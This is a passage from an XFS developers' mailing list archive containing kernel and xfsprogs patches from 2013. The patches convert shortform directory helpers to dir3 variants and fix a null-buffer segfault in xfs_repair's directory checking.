-450,8 +464,9 @@ xfs_dir2_sf_addname_easy( /* * Grow the in-inode space. */ - xfs_idata_realloc(dp, xfs_dir2_sf_entsize(sfp, args->namelen), - XFS_DATA_FORK); + xfs_idata_realloc(dp, + xfs_dir3_sf_entsize(dp->i_mount, sfp, args->namelen), + XFS_DATA_FORK); /* * Need to set up again due to realloc of the inode data. */ @@ -463,7 +478,7 @@ xfs_dir2_sf_addname_easy( sfep->namelen = args->namelen; xfs_dir2_sf_put_offset(sfep, offset); memcpy(sfep->name, args->name, sfep->namelen); - xfs_dir2_sfe_put_ino(sfp, sfep, args->inumber); + xfs_dir3_sfe_put_ino(dp->i_mount, sfp, sfep, args->inumber); /* * Update the header and inode. */ @@ -503,11 +518,13 @@ xfs_dir2_sf_addname_hard( xfs_dir2_sf_hdr_t *oldsfp; /* original shortform dir */ xfs_dir2_sf_entry_t *sfep; /* entry in new dir */ xfs_dir2_sf_hdr_t *sfp; /* new shortform dir */ + struct xfs_mount *mp; /* * Copy the old directory to the stack buffer. */ dp = args->dp; + mp = dp->i_mount; sfp = (xfs_dir2_sf_hdr_t *)dp->i_df.if_u1.if_data; old_isize = (int)dp->i_d.di_size; @@ -519,13 +536,13 @@ xfs_dir2_sf_addname_hard( * to insert the new entry. * If it's going to end up at the end then oldsfep will point there. */ - for (offset = XFS_DIR3_DATA_FIRST_OFFSET(dp->i_mount), + for (offset = XFS_DIR3_DATA_FIRST_OFFSET(mp), oldsfep = xfs_dir2_sf_firstentry(oldsfp), - add_datasize = xfs_dir2_data_entsize(args->namelen), + add_datasize = xfs_dir3_data_entsize(mp, args->namelen), eof = (char *)oldsfep == &buf[old_isize]; !eof; - offset = new_offset + xfs_dir2_data_entsize(oldsfep->namelen), - oldsfep = xfs_dir2_sf_nextentry(oldsfp, oldsfep), + offset = new_offset + xfs_dir3_data_entsize(mp, oldsfep->namelen), + oldsfep = xfs_dir3_sf_nextentry(mp, oldsfp, oldsfep), eof = (char *)oldsfep == &buf[old_isize]) { new_offset = xfs_dir2_sf_get_offset(oldsfep); if (offset + add_datasize <= new_offset) @@ -554,7 +571,7 @@ xfs_dir2_sf_addname_hard( sfep->namelen = args->namelen; xfs_dir2_sf_put_offset(sfep, offset); memcpy(sfep->name, args->name, sfep->namelen); - xfs_dir2_sfe_put_ino(sfp, sfep, args->inumber); + xfs_dir3_sfe_put_ino(mp, sfp, sfep, args->inumber); sfp->count++; #if XFS_BIG_INUMS if (args->inumber > XFS_DIR2_MAX_SHORT_INUM && !objchange) @@ -564,7 +581,7 @@ xfs_dir2_sf_addname_hard( * If there's more left to copy, do that. */ if (!eof) { - sfep = xfs_dir2_sf_nextentry(sfp, sfep); + sfep = xfs_dir3_sf_nextentry(mp, sfp, sfep); memcpy(sfep, oldsfep, old_isize - nbytes); } kmem_free(buf); @@ -600,7 +617,7 @@ xfs_dir2_sf_addname_pick( mp = dp->i_mount; sfp = (xfs_dir2_sf_hdr_t *)dp->i_df.if_u1.if_data; - size = xfs_dir2_data_entsize(args->namelen); + size = xfs_dir3_data_entsize(mp, args->namelen); offset = XFS_DIR3_DATA_FIRST_OFFSET(mp); sfep = xfs_dir2_sf_firstentry(sfp); holefit = 0; @@ -613,8 +630,8 @@ xfs_dir2_sf_addname_pick( if (!holefit) holefit = offset + size <= xfs_dir2_sf_get_offset(sfep); offset = xfs_dir2_sf_get_offset(sfep) + - xfs_dir2_data_entsize(sfep->namelen); - sfep = xfs_dir2_sf_nextentry(sfp, sfep); + xfs_dir3_data_entsize(mp, sfep->namelen); + sfep = xfs_dir3_sf_nextentry(mp, sfp, sfep); } /* * Calculate data bytes used excluding the new entry, if this @@ -668,31 +685,34 @@ xfs_dir2_sf_check( int offset; /* data offset */ xfs_dir2_sf_entry_t *sfep; /* shortform dir entry */ xfs_dir2_sf_hdr_t *sfp; /* shortform structure */ + struct xfs_mount *mp; dp = args->dp; + mp = dp->i_mount; sfp = (xfs_dir2_sf_hdr_t *)dp->i_df.if_u1.if_data; - offset = XFS_DIR3_DATA_FIRST_OFFSET(dp->i_mount); + offset = XFS_DIR3_DATA_FIRST_OFFSET(mp); ino = xfs_dir2_sf_get_parent_ino(sfp); i8count = ino > XFS_DIR2_MAX_SHORT_INUM; for (i = 0, sfep = xfs_dir2_sf_firstentry(sfp); i < sfp->count; - i++, sfep = xfs_dir2_sf_nextentry(sfp, sfep)) { + i++, sfep = xfs_dir3_sf_nextentry(mp, sfp, sfep)) { ASSERT(xfs_dir2_sf_get_offset(sfep) >= offset); - ino = xfs_dir2_sfe_get_ino(sfp, sfep); + ino = xfs_dir3_sfe_get_ino(mp, sfp, sfep); i8count += ino > XFS_DIR2_MAX_SHORT_INUM; offset = xfs_dir2_sf_get_offset(sfep) + - xfs_dir2_data_entsize(sfep->namelen); + xfs_dir3_data_entsize(mp, sfep->namelen); + ASSERT(xfs_dir3_sfe_get_ftype(mp, sfp, sfep) < + XFS_DIR3_FT_MAX); } ASSERT(i8count == sfp->i8count); ASSERT(XFS_BIG_INUMS || i8count == 0); ASSERT((char *)sfep - (char *)sfp == dp->i_d.di_size); ASSERT(offset + (sfp->count + 2) * (uint)sizeof(xfs_dir2_leaf_entry_t) + - (uint)sizeof(xfs_dir2_block_tail_t) <= - dp->i_mount->m_dirblksize); + (uint)sizeof(xfs_dir2_block_tail_t) <= mp->m_dirblksize); } #endif /* DEBUG */ @@ -804,7 +824,7 @@ xfs_dir2_sf_lookup( */ ci_sfep = NULL; for (i = 0, sfep = xfs_dir2_sf_firstentry(sfp); i < sfp->count; - i++, sfep = xfs_dir2_sf_nextentry(sfp, sfep)) { + i++, sfep = xfs_dir3_sf_nextentry(dp->i_mount, sfp, sfep)) { /* * Compare name and if it's an exact match, return the inode * number. If it's the first case-insensitive match, store the @@ -814,7 +834,8 @@ xfs_dir2_sf_lookup( sfep->namelen); if (cmp != XFS_CMP_DIFFERENT && cmp != args->cmpresult) { args->cmpresult = cmp; - args->inumber = xfs_dir2_sfe_get_ino(sfp, sfep); + args->inumber = xfs_dir3_sfe_get_ino(dp->i_mount, + sfp, sfep); if (cmp == XFS_CMP_EXACT) return XFS_ERROR(EEXIST); ci_sfep = sfep; @@ -870,10 +891,10 @@ xfs_dir2_sf_removename( * Find the one we're deleting. */ for (i = 0, sfep = xfs_dir2_sf_firstentry(sfp); i < sfp->count; - i++, sfep = xfs_dir2_sf_nextentry(sfp, sfep)) { + i++, sfep = xfs_dir3_sf_nextentry(dp->i_mount, sfp, sfep)) { if (xfs_da_compname(args, sfep->name, sfep->namelen) == XFS_CMP_EXACT) { - ASSERT(xfs_dir2_sfe_get_ino(sfp, sfep) == + ASSERT(xfs_dir3_sfe_get_ino(dp->i_mount, sfp, sfep) == args->inumber); break; } @@ -887,7 +908,7 @@ xfs_dir2_sf_removename( * Calculate sizes. */ byteoff = (int)((char *)sfep - (char *)sfp); - entsize = xfs_dir2_sf_entsize(sfp, args->namelen); + entsize = xfs_dir3_sf_entsize(dp->i_mount, sfp, args->namelen); newsize = oldsize - entsize; /* * Copy the part if any after the removed entry, sliding it down. @@ -1003,16 +1024,17 @@ xfs_dir2_sf_replace( * Normal entry, look for the name. */ else { - for (i = 0, sfep = xfs_dir2_sf_firstentry(sfp); - i < sfp->count; - i++, sfep = xfs_dir2_sf_nextentry(sfp, sfep)) { + for (i = 0, sfep = xfs_dir2_sf_firstentry(sfp); i < sfp->count; + i++, sfep = xfs_dir3_sf_nextentry(dp->i_mount, sfp, sfep)) { if (xfs_da_compname(args, sfep->name, sfep->namelen) == XFS_CMP_EXACT) { #if XFS_BIG_INUMS || defined(DEBUG) - ino = xfs_dir2_sfe_get_ino(sfp, sfep); + ino = xfs_dir3_sfe_get_ino(dp->i_mount, + sfp, sfep); ASSERT(args->inumber != ino); #endif - xfs_dir2_sfe_put_ino(sfp, sfep, args->inumber); + xfs_dir3_sfe_put_ino(dp->i_mount, sfp, sfep, + args->inumber); break; } } @@ -1120,13 +1142,13 @@ xfs_dir2_sf_toino4( for (i = 0, sfep = xfs_dir2_sf_firstentry(sfp), oldsfep = xfs_dir2_sf_firstentry(oldsfp); i < sfp->count; - i++, sfep = xfs_dir2_sf_nextentry(sfp, sfep), - oldsfep = xfs_dir2_sf_nextentry(oldsfp, oldsfep)) { + i++, sfep = xfs_dir3_sf_nextentry(dp->i_mount, sfp, sfep), + oldsfep = xfs_dir3_sf_nextentry(dp->i_mount, oldsfp, oldsfep)) { sfep->namelen = oldsfep->namelen; sfep->offset = oldsfep->offset; memcpy(sfep->name, oldsfep->name, sfep->namelen); - xfs_dir2_sfe_put_ino(sfp, sfep, - xfs_dir2_sfe_get_ino(oldsfp, oldsfep)); + xfs_dir3_sfe_put_ino(dp->i_mount, sfp, sfep, + xfs_dir3_sfe_get_ino(dp->i_mount, oldsfp, oldsfep)); } /* * Clean up the inode. @@ -1195,13 +1217,13 @@ xfs_dir2_sf_toino8( for (i = 0, sfep = xfs_dir2_sf_firstentry(sfp), oldsfep = xfs_dir2_sf_firstentry(oldsfp); i < sfp->count; - i++, sfep = xfs_dir2_sf_nextentry(sfp, sfep), - oldsfep = xfs_dir2_sf_nextentry(oldsfp, oldsfep)) { + i++, sfep = xfs_dir3_sf_nextentry(dp->i_mount, sfp, sfep), + oldsfep = xfs_dir3_sf_nextentry(dp->i_mount, oldsfp, oldsfep)) { sfep->namelen = oldsfep->namelen; sfep->offset = oldsfep->offset; memcpy(sfep->name, oldsfep->name, sfep->namelen); - xfs_dir2_sfe_put_ino(sfp, sfep, - xfs_dir2_sfe_get_ino(oldsfp, oldsfep)); + xfs_dir3_sfe_put_ino(dp->i_mount, sfp, sfep, + xfs_dir3_sfe_get_ino(dp->i_mount, oldsfp, oldsfep)); } /* * Clean up the inode. diff --git a/logprint/log_misc.c b/logprint/log_misc.c index 623245e..cf9d59d 100644 --- a/logprint/log_misc.c +++ b/logprint/log_misc.c @@ -565,7 +565,10 @@ xlog_print_trans_inode_core(xfs_icdinode_t *ip) } void -xlog_print_dir2_sf(xfs_dir2_sf_hdr_t *sfp, int size) +xlog_print_dir2_sf( + struct xlog *log, + xfs_dir2_sf_hdr_t *sfp, + int size) { xfs_ino_t ino; int count; @@ -587,21 +590,23 @@ xlog_print_dir2_sf(xfs_dir2_sf_hdr_t *sfp, int size) count = sfp->count; sfep = xfs_dir2_sf_firstentry(sfp); for (i = 0; i < count; i++) { - ino = xfs_dir2_sfe_get_ino(sfp, sfep); + ino = xfs_dir3_sfe_get_ino(log->l_mp, sfp, sfep); memmove(namebuf, (sfep->name), sfep->namelen); namebuf[sfep->namelen] = '\0'; printf(_("%s ino 0x%llx namelen %d\n"), namebuf, (unsigned long long)ino, sfep->namelen); - sfep = xfs_dir2_sf_nextentry(sfp, sfep); + sfep = xfs_dir3_sf_nextentry(log->l_mp, sfp, sfep); } } int -xlog_print_trans_inode(xfs_caddr_t *ptr, - int len, - int *i, - int num_ops, - boolean_t continued) +xlog_print_trans_inode( + struct xlog *log, + xfs_caddr_t *ptr, + int len, + int *i, + int num_ops, + boolean_t continued) { xfs_icdinode_t dino; xlog_op_header_t *op_head; @@ -695,7 +700,7 @@ xlog_print_trans_inode(xfs_caddr_t *ptr, case XFS_ILOG_DDATA: printf(_("LOCAL inode data\n")); if (mode == S_IFDIR) - xlog_print_dir2_sf((xfs_dir2_sf_hdr_t *)*ptr, size); + xlog_print_dir2_sf(log, (xfs_dir2_sf_hdr_t *)*ptr, size); break; default: ASSERT((f->ilf_fields & XFS_ILOG_DFORK) == 0); @@ -722,7 +727,7 @@ xlog_print_trans_inode(xfs_caddr_t *ptr, case XFS_ILOG_ADATA: printf(_("LOCAL attr data\n")); if (mode == S_IFDIR) - xlog_print_dir2_sf((xfs_dir2_sf_hdr_t *)*ptr, size); + xlog_print_dir2_sf(log, (xfs_dir2_sf_hdr_t *)*ptr, size); break; default: ASSERT((f->ilf_fields & XFS_ILOG_AFORK) == 0); @@ -857,14 +862,16 @@ print_lsn(xfs_caddr_t string, int -xlog_print_record(int fd, - int num_ops, - int len, - int *read_type, - xfs_caddr_t *partial_buf, - xlog_rec_header_t *rhead, - xlog_rec_ext_header_t *xhdrs, - int bad_hdr_warn) +xlog_print_record( + struct xlog *log, + int fd, + int num_ops, + int len, + int *read_type, + xfs_caddr_t *partial_buf, + xlog_rec_header_t *rhead, + xlog_rec_ext_header_t *xhdrs, + int bad_hdr_warn) { xfs_caddr_t buf, ptr; int read_len, skip; @@ -1011,7 +1018,7 @@ xlog_print_record(int fd, break; } case XFS_LI_INODE: { - skip = xlog_print_trans_inode(&ptr, + skip = xlog_print_trans_inode(log, &ptr, be32_to_cpu(op_head->oh_len), &i, num_ops, continued); break; @@ -1387,7 +1394,7 @@ void xfs_log_print(struct xlog *log, break; } - error = xlog_print_record(fd, num_ops, len, &read_type, &partial_buf, + error = xlog_print_record(log, fd, num_ops, len, &read_type, &partial_buf, hdr, xhdrs, first_hdr_found); first_hdr_found++; switch (error) { @@ -1488,14 +1495,9 @@ loop: } partial_log_read: - error= xlog_print_record(fd, - num_ops, - len, - &read_type, - &partial_buf, - (xlog_rec_header_t *)hbuf, - xhdrs, - first_hdr_found); + error= xlog_print_record(log, fd, num_ops, len, &read_type, + &partial_buf, (xlog_rec_header_t *)hbuf, + xhdrs, first_hdr_found); if (read_type != FULL_READ) len -= read_type; read_type = FULL_READ; diff --git a/repair/dir2.c b/repair/dir2.c index 05bd4b7..a856631 100644 --- a/repair/dir2.c +++ b/repair/dir2.c @@ -651,6 +651,7 @@ _("would correct bad hashval in interior dir block\n" */ void process_sf_dir2_fixi8( + struct xfs_mount *mp, struct xfs_dir2_sf_hdr *sfp, xfs_dir2_sf_entry_t **next_sfep) { @@ -680,10 +681,10 @@ process_sf_dir2_fixi8( xfs_dir2_sf_put_offset(newsfep, xfs_dir2_sf_get_offset(oldsfep)); memmove(newsfep->name, oldsfep->name, newsfep->namelen); - ino = xfs_dir2_sfe_get_ino(oldsfp, oldsfep); - xfs_dir2_sfe_put_ino(newsfp, newsfep, ino); - oldsfep = xfs_dir2_sf_nextentry(oldsfp, oldsfep); - newsfep = xfs_dir2_sf_nextentry(newsfp, newsfep); + ino = xfs_dir3_sfe_get_ino(mp, oldsfp, oldsfep); + xfs_dir3_sfe_put_ino(mp, newsfp, newsfep, ino); + oldsfep = xfs_dir3_sf_nextentry(mp, oldsfp, oldsfep); + newsfep = xfs_dir3_sf_nextentry(mp, newsfp, newsfep); } *next_sfep = newsfep; free(oldsfp); @@ -708,8 +709,8 @@ process_sf_dir2_fixoff( for (i = 0; i < sfp->count; i++) { xfs_dir2_sf_put_offset(sfep, offset); - offset += xfs_dir2_data_entsize(sfep->namelen); - sfep = xfs_dir2_sf_nextentry(sfp, sfep); + offset += xfs_dir3_data_entsize(mp, sfep->namelen); + sfep = xfs_dir3_sf_nextentry(mp, sfp, sfep); } } @@ -771,7 +772,7 @@ process_sf_dir2( /* * check for bad entry count */ - if (num_entries * xfs_dir2_sf_entsize(sfp, 1) + + if (num_entries * xfs_dir3_sf_entsize(mp, sfp, 1) + xfs_dir2_sf_hdr_size(0) > max_size || num_entries == 0) num_entries = 0xFF; @@ -787,7 +788,7 @@ process_sf_dir2( sfep = next_sfep; junkit = 0; bad_sfnamelen = 0; - lino = xfs_dir2_sfe_get_ino(sfp, sfep); + lino = xfs_dir3_sfe_get_ino(mp, sfp, sfep); /* * if entry points to self, junk it since only '.' or '..' * should do that and shortform dirs don't contain either @@ -904,7 +905,7 @@ _("zero length entry in shortform dir %" PRIu64 ""), break; } } else if ((__psint_t) sfep - (__psint_t) sfp + - xfs_dir2_sf_entsize(sfp, sfep->namelen) + xfs_dir3_sf_entsize(mp, sfp, sfep->namelen) > ino_dir_size) { bad_sfnamelen = 1; @@ -975,7 +976,7 @@ _("entry contains offset out of order in shortform dir %" PRIu64 "\n"), bad_offset = 1; } offset = xfs_dir2_sf_get_offset(sfep) + - xfs_dir2_data_entsize(namelen); + xfs_dir3_data_entsize(mp, namelen); /* * junk the entry by copying up the rest of the @@ -992,7 +993,7 @@ _("entry contains offset out of order in shortform dir %" PRIu64 "\n"), name[namelen] = '\0'; if (!no_modify) { - tmp_elen = xfs_dir2_sf_entsize(sfp, + tmp_elen = xfs_dir3_sf_entsize(mp, sfp, sfep->namelen); be64_add_cpu(&dip->di_size, -tmp_elen); ino_dir_size -= tmp_elen; @@ -1046,8 +1047,8 @@ _("would have junked entry \"%s\" in directory inode %" PRIu64 "\n"), next_sfep = (tmp_sfep == NULL) ? (xfs_dir2_sf_entry_t *) ((__psint_t) sfep + ((!bad_sfnamelen) - ? xfs_dir2_sf_entsize(sfp, sfep->namelen) - : xfs_dir2_sf_entsize(sfp, namelen))) + ? xfs_dir3_sf_entsize(mp, sfp, sfep->namelen) + : xfs_dir3_sf_entsize(mp, sfp, namelen))) : tmp_sfep; } @@ -1078,7 +1079,7 @@ _("would have corrected i8 count in directory %" PRIu64 " from %d to %d\n"), _("corrected i8 count in directory %" PRIu64 ", was %d, now %d\n"), ino, sfp->i8count, i8); if (i8 == 0) - process_sf_dir2_fixi8(sfp, &next_sfep); + process_sf_dir2_fixi8(mp, sfp, &next_sfep); else sfp->i8count = i8; *dino_dirty = 1; @@ -1271,12 +1272,12 @@ process_dir2_data( continue; } dep = (xfs_dir2_data_entry_t *)ptr; - if (ptr + xfs_dir2_data_entsize(dep->namelen) > endptr) + if (ptr + xfs_dir3_data_entsize(mp, dep->namelen) > endptr) break; - if (be16_to_cpu(*xfs_dir2_data_entry_tag_p(dep)) != + if (be16_to_cpu(*xfs_dir3_data_entry_tag_p(mp, dep)) != (char *)dep - (char *)d) break; - ptr += xfs_dir2_data_entsize(dep->namelen); + ptr += xfs_dir3_data_entsize(mp, dep->namelen); lastfree = 0; } /* @@ -1533,7 +1534,7 @@ _("entry \"%*.*s\" in directory inode %" PRIu64 " points to self: "), /* * Advance to the next entry. */ - ptr += xfs_dir2_data_entsize(dep->namelen); + ptr += xfs_dir3_data_entsize(mp, dep->namelen); } /* * Check the bestfree table. diff --git a/repair/dir2.h b/repair/dir2.h index 3d8fe8a..df68d5c 100644 --- a/repair/dir2.h +++ b/repair/dir2.h @@ -72,6 +72,7 @@ process_dir2( void process_sf_dir2_fixi8( + struct xfs_mount *mp, struct xfs_dir2_sf_hdr *sfp, xfs_dir2_sf_entry_t **next_sfep); diff --git a/repair/phase6.c b/repair/phase6.c index 3dec573..2a523ca 100644 --- a/repair/phase6.c +++ b/repair/phase6.c @@ -1518,12 +1518,12 @@ longform_dir2_entry_check_data( /* validate data entry size */ dep = (xfs_dir2_data_entry_t *)ptr; - if (ptr + xfs_dir2_data_entsize(dep->namelen) > endptr) + if (ptr + xfs_dir3_data_entsize(mp, dep->namelen) > endptr) break; - if (be16_to_cpu(*xfs_dir2_data_entry_tag_p(dep)) != + if (be16_to_cpu(*xfs_dir3_data_entry_tag_p(mp, dep)) != (char *)dep - (char *)d) break; - ptr += xfs_dir2_data_entsize(dep->namelen); + ptr += xfs_dir3_data_entsize(mp, dep->namelen); } /* did we find an empty or corrupt block? */ @@ -1612,7 +1612,7 @@ longform_dir2_entry_check_data( } addr = xfs_dir2_db_off_to_dataptr(mp, db, ptr - (char *)d); dep = (xfs_dir2_data_entry_t *)ptr; - ptr += xfs_dir2_data_entsize(dep->namelen); + ptr += xfs_dir3_data_entsize(mp, dep->namelen); inum = be64_to_cpu(dep->inumber); lastfree = 0; /* @@ -2244,7 +2244,7 @@ shortform_dir2_entry_check(xfs_mount_t *mp, bad_sfnamelen = 0; tmp_sfep = NULL; - lino = xfs_dir2_sfe_get_ino(sfp, sfep); + lino = xfs_dir3_sfe_get_ino(mp, sfp, sfep); namelen = sfep->namelen; @@ -2273,7 +2273,7 @@ shortform_dir2_entry_check(xfs_mount_t *mp, break; } } else if (no_modify && (__psint_t) sfep - (__psint_t) sfp + - + xfs_dir2_sf_entsize(sfp, sfep->namelen) + + xfs_dir3_sf_entsize(mp, sfp, sfep->namelen) > ip->i_d.di_size) { bad_sfnamelen = 1; @@ -2303,7 +2303,7 @@ shortform_dir2_entry_check(xfs_mount_t *mp, if (no_modify && verify_inum(mp, lino)) { next_sfep = (xfs_dir2_sf_entry_t *)((__psint_t)sfep + - xfs_dir2_sf_entsize(sfp, sfep->namelen)); + xfs_dir3_sf_entsize(mp, sfp, sfep->namelen)); continue; } @@ -2411,7 +2411,7 @@ do_junkit: if (lino == orphanage_ino) orphanage_ino = 0; if (!no_modify) { - tmp_elen = xfs_dir2_sf_entsize(sfp, + tmp_elen = xfs_dir3_sf_entsize(mp, sfp, sfep->namelen); tmp_sfep = (xfs_dir2_sf_entry_t *) ((__psint_t) sfep + tmp_elen); @@ -2464,8 +2464,8 @@ do_junkit: next_sfep = (tmp_sfep == NULL) ? (xfs_dir2_sf_entry_t *) ((__psint_t) sfep + ((!bad_sfnamelen) - ? xfs_dir2_sf_entsize(sfp, sfep->namelen) - : xfs_dir2_sf_entsize(sfp, namelen))) + ? xfs_dir3_sf_entsize(mp, sfp, sfep->namelen) + : xfs_dir3_sf_entsize(mp, sfp, namelen))) : tmp_sfep; } @@ -2476,7 +2476,7 @@ do_junkit: } else { if (i8 == 0) { tmp_sfep = next_sfep; - process_sf_dir2_fixi8(sfp, &tmp_sfep); + process_sf_dir2_fixi8(mp, sfp, &tmp_sfep); bytes_deleted += (__psint_t)next_sfep - (__psint_t)tmp_sfep; -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:21:38 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2DEBF29E2C for ; Wed, 4 Sep 2013 17:21:36 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 067818F8033 for ; Wed, 4 Sep 2013 15:21:36 -0700 (PDT) X-ASG-Debug-ID: 1378333281-04cb6c2e9dd581a0007-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id oV08Qmn1usvPu0yq for ; Wed, 04 Sep 2013 15:21:34 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngIAKexJ1J5LJ62/2dsb2JhbABbgweuUZUhF3SCJAEBBScvMwgYMTkDGxmIAbo2j32EBwOpW4MyKg Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:51:32 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLDA-0007de-N4 for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:05 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLDA-0003w3-Ju for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 54/55] repair: fix segv on directory block read failure Date: Thu, 5 Sep 2013 08:05:58 +1000 X-ASG-Orig-Subj: [PATCH 54/55] repair: fix segv on directory block read failure Message-Id: <1378332359-14737-55-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378333294 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140347 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner We try to read all blocks in the directory, but if we have a block form directory we only have one block and so we need to fail if there is a read error. Otherwise we try to derefence a null buffer pointer. While fixing the error handling for a read failure, fix the bug that caused the read failure - trying to verify a block format buffer with the data format buffer verifier. Signed-off-by: Dave Chinner --- repair/phase6.c | 24 +++++++++++++++++++++--- 1 file changed, 21 insertions(+), 3 deletions(-) diff --git a/repair/phase6.c b/repair/phase6.c index 2a523ca..a4ad7a3 100644 --- a/repair/phase6.c +++ b/repair/phase6.c @@ -2064,7 +2064,7 @@ longform_dir2_entry_check(xfs_mount_t *mp, int isleaf; xfs_fileoff_t next_da_bno; int seeval; - int fixit; + int fixit = 0; xfs_dir2_db_t db; *need_dot = 1; @@ -2091,6 +2091,8 @@ longform_dir2_entry_check(xfs_mount_t *mp, for (da_bno = 0, next_da_bno = 0; next_da_bno != NULLFILEOFF && da_bno < mp->m_dirleafblk; da_bno = (xfs_dablk_t)next_da_bno) { + const struct xfs_buf_ops *ops; + next_da_bno = da_bno + mp->m_dirblkfsbs - 1; if (bmap_next_offset(NULL, ip, &next_da_bno, XFS_DATA_FORK)) break; @@ -2104,13 +2106,28 @@ longform_dir2_entry_check(xfs_mount_t *mp, _("realloc failed in longform_dir2_entry_check (%zu bytes)\n"), num_bps * sizeof(struct xfs_buf*)); } + + if (isblock) + ops = &xfs_dir3_block_buf_ops; + else + ops = &xfs_dir3_data_buf_ops; if (libxfs_da_read_buf(NULL, ip, da_bno, -1, &bplist[db], - XFS_DATA_FORK, &xfs_dir3_data_buf_ops)) { + XFS_DATA_FORK, ops)) { do_warn( _("can't read data block %u for directory inode %" PRIu64 "\n"), da_bno, ino); *num_illegal += 1; - continue; /* try and read all "data" blocks */ + + /* + * we try to read all "data" blocks, but if we are in + * block form and we fail, there isn't anything else to + * read, and nothing we can do but trash it. + */ + if (isblock) { + fixit++; + goto out_fix; + } + continue; } longform_dir2_entry_check_data(mp, ip, num_illegal, need_dot, irec, ino_offset, &bplist[db], hashtab, @@ -2141,6 +2158,7 @@ longform_dir2_entry_check(xfs_mount_t *mp, freetab); } } +out_fix: if (!no_modify && (fixit || dotdot_update)) { dir_hash_dup_names(hashtab); for (i = 0; i < freetab->naents; i++) -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:21:39 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 8D53C29E44 for ; Wed, 4 Sep 2013 17:21:36 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7CC268F8033 for ; Wed, 4 Sep 2013 15:21:36 -0700 (PDT) X-ASG-Debug-ID: 1378333283-04cb6c2e9fd581b0007-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id 6zKGM3VghlDDzvDH for ; Wed, 04 Sep 2013 15:21:33 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngIAKexJ1J5LJ62/2dsb2JhbABbgweuUZUhF3SCJAEBBScvMwgYMTkDGxmIAbo2jikIhVMDqVuBY4FPKoEt Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:51:32 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLDA-0007dH-Bq for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLDA-0003uU-AV for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 41/55] xfs: Introduce a new structure to hold transaction reservation items Date: Thu, 5 Sep 2013 08:05:45 +1000 X-ASG-Orig-Subj: [PATCH 41/55] xfs: Introduce a new structure to hold transaction reservation items Message-Id: <1378332359-14737-42-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378333293 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140347 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: 